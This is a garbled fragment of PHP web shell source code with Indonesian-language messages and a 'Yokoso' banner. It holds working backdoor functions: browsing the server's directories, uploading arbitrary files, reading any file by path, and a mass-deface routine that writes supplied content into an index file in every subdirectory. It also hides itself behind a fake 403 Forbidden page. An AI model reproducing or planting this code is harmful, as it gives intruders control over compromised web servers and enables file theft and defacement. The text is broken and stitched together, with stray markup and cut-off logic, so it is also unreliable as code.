'.$dir.' | |||
'.$file.' |
window.location='?403Forbidden'"; } if($_GET['page'] == "blank") { echo "Back"; exit(); } if(isset($_REQUEST['logout'])) { session_destroy(); echo ""; } if(!($_SESSION['forbidden'])) { ?>
</> Yokoso </>
Your Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo ' | |
';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo ' Berhasil '; }else{ echo ' wkwkwk gagal '; } } echo ' |
";
echo "
'; ?> Kurang Hoki:( "; } else { echo " | |
';
die();
} elseif($_GET['logout'] == true) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "";
}
if ($_GET['to'] == "mass") {
if (isset($_POST['base_dir'])) {
if (!file_exists($_POST['base_dir']))
die($_POST['base_dir'] . " Not Found ! "); if (!is_dir($_POST['base_dir'])) die($_POST['base_dir'] . " Is Not A Directory ! "); @chdir($_POST['base_dir']) or die("Cannot Open Directory"); $files = @scandir($_POST['base_dir']) or die("Kontol wkwkw "); foreach ($files as $file) : if ($file != "." && $file != ".." && @filetype($file) == "dir") { $index = getcwd() . "/" . $file . "/" . $_POST['andela']; if (file_put_contents($index, $_POST['index'])) echo " $index    (✓)"; } endforeach; } echo " "; } die(); } if(isset($_GET['filesrc'])){ echo " Current File : ";
echo $_GET['filesrc'];
echo ' | |
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).''); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$dir.' | |||
'.$file.' |